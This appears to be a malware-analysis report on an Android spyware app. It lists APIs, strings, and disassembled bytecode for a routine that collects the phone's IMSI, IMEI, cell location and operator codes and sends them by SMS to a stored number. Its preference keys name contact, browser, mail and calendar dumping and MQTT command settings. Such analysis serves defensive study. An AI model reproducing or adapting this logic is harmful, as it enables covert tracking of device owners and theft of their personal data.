      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.System.currentTimeMillis
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.content.Context.getSystemService
      • java.lang.StringBuffer.<init>
      • android.telephony.TelephonyManager.getCellLocation
      • android.telephony.TelephonyManager.getNetworkOperator
      • java.lang.String.length
      • android.telephony.gsm.GsmCellLocation.getCid
      • android.telephony.gsm.GsmCellLocation.getLac
      • java.lang.String.length
      • java.lang.String.substring
      • java.lang.String.length
      • java.lang.String.substring
      • java.lang.String.toUpperCase
      • android.telephony.TelephonyManager.getDeviceId
      • java.lang.Integer.<init>
      • java.lang.Integer.toString
      • java.lang.String.length
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • com.network.android.SmsReceiver.b
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.Vector.isEmpty
      • java.lang.StringBuffer.toString
      • android.telephony.SmsManager.getDefault
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.String.length
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.content.Intent.<init>
      • android.app.PendingIntent.getBroadcast
      • android.content.Intent.<init>
      • android.app.PendingIntent.getBroadcast
      • java.lang.String.contains
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • com.network.android.a.k.<init>
      • android.content.IntentFilter.<init>
      • android.content.Context.registerReceiver
      • android.telephony.SmsManager.sendTextMessage
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.String.length
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.toUpperCase
      • com.network.android.SmsReceiver.a
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.Vector.lastElement
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • MO sendSmsMO Ping SMS MO Start to number:
      • counter:
      • Type:
      • MO sendSmsMO Ping SMS MO Start to number: null counter:1 Type:5
      • MO sendSmsMO commandAck:
      • MO sendSmsMO commandAck: null
      • MO sendSmsMO counter:
      • MO sendSmsMO counter: 1
      • sendMO no number
      • MO sendSmsMO - timeAfterLastCom (MILIseconds):
      • MO sendSmsMO - timeAfterLastCom (seconds):
      • MO sendSmsMO - MINIMUM_PING_RATE (seconds): 60
      • MO sendSmsMO - SMS wont be sent the ping will be in:
      • httpPingSms
      • sendSmsMO-
      • phone
      • imsi
      • IMEI
      • Cell
      • 0
      • Area
      • Country
      • Op
      • 0000
      • Ping SMS MO Start to number:
      • size:
      • SMS_SENT
      • SMS_DELIVERED
      • +
      • Ping SMS MO End to number:
      • 000
      • 00
      • commandAckIdsVector sending element
      • in sms
      • sendSmsMO fail ro registerReceiver-
      Position Instruction Meta Information
      0const/16 v11, -0x3cae
      1const/16 v10, 0x26
      2const/4 v9, 0x1
      3try_start_5:
      4invoke-static {}, Lcom/network/b/b;->g()Ljava/lang/String;
      • Time: 1079437
        • Return:
          • null
      5move-result-object v2
      6new-instance v0, Ljava/lang/StringBuilder;
      8const-string v1, "MO sendSmsMO Ping SMS MO Start to number: "
      10invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      12invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      13move-result-object v0
      15const-string v1, " counter:"
      17invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      18move-result-object v0
      20invoke-virtual {v0, p3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      21move-result-object v0
      23const-string v1, " Type:"
      25invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      26move-result-object v0
      28invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      29move-result-object v0
      31invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      32move-result-object v0
      34invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079440
        • p0: MO sendSmsMO Ping SMS MO Start to number: null counter:1 Type:5
      35new-instance v0, Ljava/lang/StringBuilder;
      37const-string v1, "MO sendSmsMO commandAck: "
      39invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      41invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      42move-result-object v0
      44invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      45move-result-object v0
      47invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079449
        • p0: MO sendSmsMO commandAck: null
      48new-instance v0, Ljava/lang/StringBuilder;
      50const-string v1, "MO sendSmsMO counter: "
      52invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      54invoke-virtual {v0, p3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      55move-result-object v0
      57invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      58move-result-object v0
      60invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079456
        • p0: MO sendSmsMO counter: 1
      61if-nez v2, :cond_75
      63const-string v0, "sendMO no number"
      65invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079464
        • p0: sendMO no number
      66if-eqz p2, :cond_74
      67const/4 v0, 0x0
      68const/16 v1, 0x7d
      70const-string v2, ""
      72invoke-static {p2}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      73move-result-object v3
      75invoke-static {v0, v1, v2, v3}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      76const/4 v0, 0x0
      77const/16 v1, -0x3cae
      79const-string v2, ""
      81invoke-static {p2}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      82move-result-object v3
      84invoke-static {v0, v1, v2, v3}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      85cond_74: return-void
      86cond_75:
      87invoke-static {}, Lcom/network/b/b;->j()J
      88move-result-wide v0
      89new-instance v3, Ljava/lang/StringBuilder;
      91const-string v4, "MO sendSmsMO - timeAfterLastCom (MILIseconds): "
      93invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      95invoke-virtual {v3, v0, v1}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
      96move-result-object v3
      98invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      99move-result-object v3
      101invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      102const-wide/16 v3, 0x0
      103cmp-long v3, v0, v3
      104if-eqz v3, :cond_10a
      106invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
      107move-result-wide v3
      108const-wide/16 v5, 0x3e8
      109div-long/2addr v3, v5
      110sub-long v0, v3, v0
      111new-instance v3, Ljava/lang/StringBuilder;
      113const-string v4, "MO sendSmsMO - timeAfterLastCom (seconds): "
      115invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      117invoke-virtual {v3, v0, v1}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
      118move-result-object v3
      120invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      121move-result-object v3
      123invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      125const-string v3, "MO sendSmsMO - MINIMUM_PING_RATE (seconds): 60"
      127invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      128const-wide/16 v3, 0x3c
      129cmp-long v3, v3, v0
      130if-lez v3, :cond_10a
      131const-wide/16 v2, 0x3c
      132sub-long v0, v2, v0
      133const-wide/16 v2, 0x1
      134add-long/2addr v0, v2
      135new-instance v2, Ljava/lang/StringBuilder;
      137const-string v3, "MO sendSmsMO - SMS wont be sent the ping will be in: "
      139invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      141invoke-virtual {v2, v0, v1}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
      142move-result-object v2
      144invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      145move-result-object v2
      147invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      148long-to-int v0, v0
      150const-string v1, "httpPingSms"
      152invoke-static {p0, v0, v1, p2}, Lcom/network/g/a;->a(Landroid/content/Context;ILjava/lang/String;Ljava/lang/String;)V
      153try_end_d6: goto/16 :goto_74
      154catch_d7: move-exception v0
      156invoke-static {v9, v10}, Lcom/network/android/c/a/b;->a(IS)V
      157if-eqz p2, :cond_303
      159const-string v1, ""
      161invoke-static {p2}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      162move-result-object v2
      164invoke-static {v9, v11, v1, v2}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      166const-string v1, ""
      168invoke-static {p2}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      169move-result-object v2
      171invoke-static {v9, v10, v1, v2}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      172goto_ef: new-instance v1, Ljava/lang/StringBuilder;
      174const-string v2, "sendSmsMO- "
      176invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      178invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      179move-result-object v2
      181invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      182move-result-object v1
      184invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      185move-result-object v1
      187invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      189invoke-static {p0}, Lcom/network/android/a/c;->g(Landroid/content/Context;)V
      190goto/16 :goto_74
      191try_start_10a:
      192const-string v0, "phone"
      194invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
      195move-result-object v0
      196check-cast v0, Landroid/telephony/TelephonyManager;
      197new-instance v4, Ljava/lang/StringBuffer;
      199invoke-direct {v4}, Ljava/lang/StringBuffer;-><init>()V
      201invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getCellLocation()Landroid/telephony/CellLocation;
      202move-result-object v1
      203check-cast v1, Landroid/telephony/gsm/GsmCellLocation;
      205invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getNetworkOperator()Ljava/lang/String;
      206move-result-object v3
      207if-eqz v3, :cond_2e2
      209invoke-virtual {v3}, Ljava/lang/String;->length()I
      210move-result v5
      211if-lez v5, :cond_2e2
      212if-eqz v1, :cond_2e2
      214invoke-virtual {v1}, Landroid/telephony/gsm/GsmCellLocation;->getCid()I
      215move-result v5
      217invoke-virtual {v1}, Landroid/telephony/gsm/GsmCellLocation;->getLac()I
      218move-result v6
      219if-eqz v3, :cond_285
      221invoke-virtual {v3}, Ljava/lang/String;->length()I
      222move-result v1
      223const/4 v7, 0x5
      224if-lt v1, v7, :cond_285
      225const/4 v1, 0x0
      226const/4 v7, 0x3
      228invoke-virtual {v3, v1, v7}, Ljava/lang/String;->substring(II)Ljava/lang/String;
      229move-result-object v1
      230const/4 v7, 0x3
      232invoke-virtual {v3}, Ljava/lang/String;->length()I
      233move-result v8
      235invoke-virtual {v3, v7, v8}, Ljava/lang/String;->substring(II)Ljava/lang/String;
      236move-result-object v3
      237goto_14b: const/4 v7, 0x5
      238if-ne p1, v7, :cond_28b
      240const-string v7, "imsi"
      242invoke-virtual {v7}, Ljava/lang/String;->toUpperCase()Ljava/lang/String;
      243move-result-object v7
      245sget-object v8, Lcom/network/b/b;->e:Ljava/lang/String;
      247invoke-static {v4, v7, v8}, Lcom/network/android/a/c;->a(Ljava/lang/StringBuffer;Ljava/lang/String;Ljava/lang/String;)V
      248goto_159:
      249const-string v7, "IMEI"
      251invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
      252move-result-object v0
      254invoke-static {v4, v7, v0}, Lcom/network/android/a/c;->a(Ljava/lang/StringBuffer;Ljava/lang/String;Ljava/lang/String;)V
      255new-instance v0, Ljava/lang/Integer;
      257invoke-direct {v0, v5}, Ljava/lang/Integer;-><init>(I)V
      259invoke-virtual {v0}, Ljava/lang/Integer;->toString()Ljava/lang/String;
      260move-result-object v0
      262invoke-virtual {v0}, Ljava/lang/String;->length()I
      263move-result v0
      264const/16 v7, 0x8
      265if-le v0, v7, :cond_29a
      267const-string v0, "Cell"
      269const-string v5, "0"
      271invoke-static {v4, v0, v5}, Lcom/network/android/a/c;->a(Ljava/lang/StringBuffer;Ljava/lang/String;Ljava/lang/String;)V
      272goto_17a:
      273const-string v0, "Area"
      274new-instance v5, Ljava/lang/StringBuilder;
      276invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
      278invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      279move-result-object v5
      281invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      282move-result-object v5
      284invoke-static {v4, v0, v5}, Lcom/network/android/a/c;->a(Ljava/lang/StringBuffer;Ljava/lang/String;Ljava/lang/String;)V
      286const-string v0, "Country"
      287new-instance v5, Ljava/lang/StringBuilder;
      289invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
      291invoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      292move-result-object v1
      294invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      295move-result-object v1
      297invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      298move-result-object v1
      300invoke-static {v4, v0, v1}, Lcom/network/android/a/c;->a(Ljava/lang/StringBuffer;Ljava/lang/String;Ljava/lang/String;)V
      302const-string v0, "Op"
      304invoke-static {p0}, Lcom/network/android/SmsReceiver;->b(Landroid/content/Context;)Ljava/lang/String;
      305move-result-object v1
      307invoke-static {v4, v0, v1}, Lcom/network/android/a/c;->a(Ljava/lang/StringBuffer;Ljava/lang/String;Ljava/lang/String;)V
      309const-string v0, ""
      310new-instance v1, Ljava/lang/StringBuilder;
      312invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      314invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      315move-result-object v1
      317invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      318move-result-object v1
      320invoke-static {v4, v0, v1}, Lcom/network/android/a/c;->a(Ljava/lang/StringBuffer;Ljava/lang/String;Ljava/lang/String;)V
      322sget-object v0, Lcom/network/android/a/c;->a:Ljava/util/Vector;
      324invoke-virtual {v0}, Ljava/util/Vector;->isEmpty()Z
      325move-result v0
      326if-eqz v0, :cond_2ae
      328const-string v0, ""
      330const-string v1, "0000"
      332invoke-static {v4, v0, v1}, Lcom/network/android/a/c;->a(Ljava/lang/StringBuffer;Ljava/lang/String;Ljava/lang/String;)V
      333goto_1cc:
      334const-string v0, ""
      336invoke-static {}, Lcom/network/android/a/c;->c()Ljava/lang/String;
      337move-result-object v1
      339invoke-static {v4, v0, v1}, Lcom/network/android/a/c;->a(Ljava/lang/StringBuffer;Ljava/lang/String;Ljava/lang/String;)V
      340goto_1d5:
      341invoke-virtual {v4}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
      342move-result-object v3
      344invoke-static {}, Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager;
      345move-result-object v0
      346new-instance v1, Ljava/lang/StringBuilder;
      348const-string v4, "Ping SMS MO Start to number:"
      350invoke-direct {v1, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      352invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      353move-result-object v1
      355const-string v4, " Type:"
      357invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      358move-result-object v1
      360invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      361move-result-object v1
      363const-string v4, " size:"
      365invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      366move-result-object v1
      368invoke-virtual {v3}, Ljava/lang/String;->length()I
      369move-result v4
      371invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      372move-result-object v1
      374invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      375move-result-object v1
      377invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      379invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      380const/4 v1, 0x0
      381new-instance v4, Landroid/content/Intent;
      383const-string v5, "SMS_SENT"
      385invoke-direct {v4, v5}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
      386const/4 v5, 0x0
      388invoke-static {p0, v1, v4, v5}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
      389move-result-object v4
      390const/4 v1, 0x0
      391new-instance v5, Landroid/content/Intent;
      393const-string v6, "SMS_DELIVERED"
      395invoke-direct {v5, v6}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
      396const/4 v6, 0x0
      398invoke-static {p0, v1, v5, v6}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
      399move-result-object v5
      401const-string v1, "+"
      403invoke-virtual {v2, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
      404move-result v1
      405if-nez v1, :cond_308
      406new-instance v1, Ljava/lang/StringBuilder;
      408const-string v6, "+"
      410invoke-direct {v1, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      412invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      413move-result-object v1
      415invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      416try_end_23a: move-result-object v1
      417try_start_23b: new-instance v2, Lcom/network/android/a/k;
      419invoke-direct {v2, p2, p0, p1, p3}, Lcom/network/android/a/k;-><init>(Ljava/lang/String;Landroid/content/Context;II)V
      420new-instance v6, Landroid/content/IntentFilter;
      422const-string v7, "SMS_SENT"
      424invoke-direct {v6, v7}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
      426invoke-virtual {p0, v2, v6}, Landroid/content/Context;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
      427goto_24a:
      428invoke-static {}, Lcom/network/b/b;->k()V
      430invoke-static {}, Lcom/network/b/b;->o()V
      431const/4 v2, 0x0
      433invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V
      434new-instance v0, Ljava/lang/StringBuilder;
      436const-string v2, "Ping SMS MO End to number:"
      438invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      440invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      441move-result-object v0
      443const-string v1, " Type:"
      445invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      446move-result-object v0
      448invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      449move-result-object v0
      451const-string v1, " size:"
      453invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      454move-result-object v0
      456invoke-virtual {v3}, Ljava/lang/String;->length()I
      457move-result v1
      459invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      460move-result-object v0
      462invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      463move-result-object v0
      465invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      466if-eqz p2, :cond_74
      468invoke-static {p2}, Lcom/network/android/c/a/b;->a(Ljava/lang/String;)V
      469goto/16 :goto_74
      470cond_285:
      471const-string v1, "000"
      473const-string v3, "00"
      474goto/16 :goto_14b
      475cond_28b:
      476const-string v7, "imsi"
      478invoke-virtual {v7}, Ljava/lang/String;->toUpperCase()Ljava/lang/String;
      479move-result-object v7
      481invoke-static {p0}, Lcom/network/android/SmsReceiver;->a(Landroid/content/Context;)Ljava/lang/String;
      482move-result-object v8
      484invoke-static {v4, v7, v8}, Lcom/network/android/a/c;->a(Ljava/lang/StringBuffer;Ljava/lang/String;Ljava/lang/String;)V
      485goto/16 :goto_159
      486cond_29a:
      487const-string v0, "Cell"
      488new-instance v7, Ljava/lang/StringBuilder;
      490invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
      492invoke-virtual {v7, v5}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      493move-result-object v5
      495invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      496move-result-object v5
      498invoke-static {v4, v0, v5}, Lcom/network/android/a/c;->a(Ljava/lang/StringBuffer;Ljava/lang/String;Ljava/lang/String;)V
      499goto/16 :goto_17a
      500cond_2ae:
      501sget-object v0, Lcom/network/android/a/c;->a:Ljava/util/Vector;
      503invoke-virtual {v0}, Ljava/util/Vector;->lastElement()Ljava/lang/Object;
      504move-result-object v0
      505check-cast v0, Ljava/lang/String;
      506new-instance v1, Ljava/lang/StringBuilder;
      508const-string v3, "commandAckIdsVector sending element "
      510invoke-direct {v1, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      512invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      513move-result-object v1
      515const-string v3, " in sms"
      517invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      518move-result-object v1
      520invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      521move-result-object v1
      523invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      525const-string v1, ""
      526new-instance v3, Ljava/lang/StringBuilder;
      528invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
      530invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      531move-result-object v0
      533invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      534move-result-object v0
      536invoke-static {v4, v1, v0}, Lcom/network/android/a/c;->a(Ljava/lang/StringBuffer;Ljava/lang/String;Ljava/lang/String;)V
      537goto/16 :goto_1cc
      538cond_2e2: const/4 v0, 0x1
      539const/16 v1, -0x7d9
      541invoke-static {v0, v1}, Lcom/network/android/c/a/b;->a(IS)V
      542goto/16 :goto_1d5
      543catch_2ea: move-exception v2
      544new-instance v6, Ljava/lang/StringBuilder;
      546const-string v7, "sendSmsMO fail ro registerReceiver- "
      548invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      550invoke-virtual {v2}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      551move-result-object v7
      553invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      554move-result-object v6
      556invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      557move-result-object v6
      559invoke-static {v6, v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      560try_end_301: goto/16 :goto_24a
      561cond_303:
      562invoke-static {v9, v10}, Lcom/network/android/c/a/b;->a(IS)V
      563goto/16 :goto_ef
      564cond_308: move-object v1, v2
      565goto/16 :goto_23b
      Cross References
      APIs
      • android.content.Context.getSharedPreferences
      • android.content.SharedPreferences.getString
      • android.content.Context.getSharedPreferences
      • android.content.SharedPreferences.getString
      • android.content.SharedPreferences.getString
      • android.content.SharedPreferences.getString
      • android.content.SharedPreferences.getLong
      • java.lang.Long.valueOf
      • android.content.SharedPreferences.getLong
      • android.content.SharedPreferences.getLong
      • android.content.SharedPreferences.getInt
      • android.content.SharedPreferences.getInt
      • android.content.SharedPreferences.getString
      • android.content.SharedPreferences.getString
      • android.content.SharedPreferences.getInt
      • android.content.SharedPreferences.getInt
      • android.content.SharedPreferences.getInt
      • android.content.SharedPreferences.getInt
      • android.content.SharedPreferences.getInt
      • android.content.SharedPreferences.getInt
      • android.content.SharedPreferences.getInt
      • java.lang.Integer.valueOf
      • android.content.SharedPreferences.getBoolean
      • android.content.SharedPreferences.getString
      • android.content.SharedPreferences.getLong
      • android.content.SharedPreferences.getLong
      • android.content.SharedPreferences.getString
      • android.content.SharedPreferences.getString
      • android.content.SharedPreferences.getBoolean
      • java.lang.Boolean.valueOf
      • android.content.SharedPreferences.getBoolean
      • java.lang.Boolean.valueOf
      • android.content.SharedPreferences.getLong
      • android.content.SharedPreferences.getBoolean
      • android.content.SharedPreferences.getBoolean
      • android.content.SharedPreferences.getBoolean
      • android.content.SharedPreferences.getBoolean
      • android.content.SharedPreferences.getBoolean
      • android.content.SharedPreferences.getBoolean
      • android.content.SharedPreferences.getBoolean
      • android.content.SharedPreferences.getBoolean
      • android.content.SharedPreferences.getInt
      • android.content.SharedPreferences.getString
      • android.content.SharedPreferences.getBoolean
      • android.content.SharedPreferences.getBoolean
      • com.network.android.AndroidCallDirectWatcher.a
      • android.content.SharedPreferences.getInt
      • android.content.SharedPreferences.getInt
      • android.content.SharedPreferences.getInt
      • android.content.SharedPreferences.getString
      • android.content.SharedPreferences.getBoolean
      • android.content.SharedPreferences.getString
      • android.content.SharedPreferences.getInt
      • android.content.SharedPreferences.getBoolean
      • android.content.SharedPreferences.getInt
      • android.content.SharedPreferences.getString
      • android.content.SharedPreferences.getString
      • android.content.SharedPreferences.getInt
      • android.content.SharedPreferences.getInt
      • android.content.SharedPreferences.getInt
      • android.content.SharedPreferences.getString
      • android.content.SharedPreferences.getString
      • android.content.SharedPreferences.getBoolean
      • android.content.SharedPreferences.getString
      • android.content.SharedPreferences.getInt
      • java.lang.Integer.valueOf
      • android.content.SharedPreferences.getBoolean
      • java.lang.Boolean.valueOf
      Strings
      • Read Preferences
      • readPreferences: context is NULL!!!
      • NetworkPreferences
      • NetworkWindowResizer
      • token == null getSettingsFromBH
      • LOG_AGENT_FIRST_TIME_RUN
      • NetworkWindowSim
      • WindowTargetSms
      • lastComunication
      • lastSend
      • lastReceive
      • send
      • receive
      • packageVersion
      • vulnarbilityIndicator
      • sesseions
      • wasPhoneWasUnmutedAfterTapNicly
      • originalVibrateValue
      • originalRingerValue
      • failureCount
      • errorCode
      • maxTimeWithNoComunication
      • grace
      • commandTimeStamp
      • adlocation
      • adrate
      • userNetwork
      • installation
      • windowYuliyus
      • window canada
      • graceTime
      • finish
      • dumpContacts
      • dumpBrowserData
      • callWindow
      • smsWindow
      • dumpCalander
      • firstRun
      • dumpMails
      • allowRomingType
      • 0vlt.dat
      • logNetwork
      • forwarding
      • romingSetted
      • ScreenTimeout
      • wanted_debug_level
      • screenProximtySensor
      • url address
      • did_we_restart_after_upgrade_already
      • mqttPassword
      • mqttAllowedConnectionType
      • should_use_mqtt
      • mqttRecInt
      • mqttUsername
      • mqttIdPref
      • mqttQos
      • mqttKaTimer
      • mqttRecCount
      • mqttPort
      • mqttHost
      • networkKill
      • firstRunIndex
      • pollingInterval
      • local
      • readPreferences
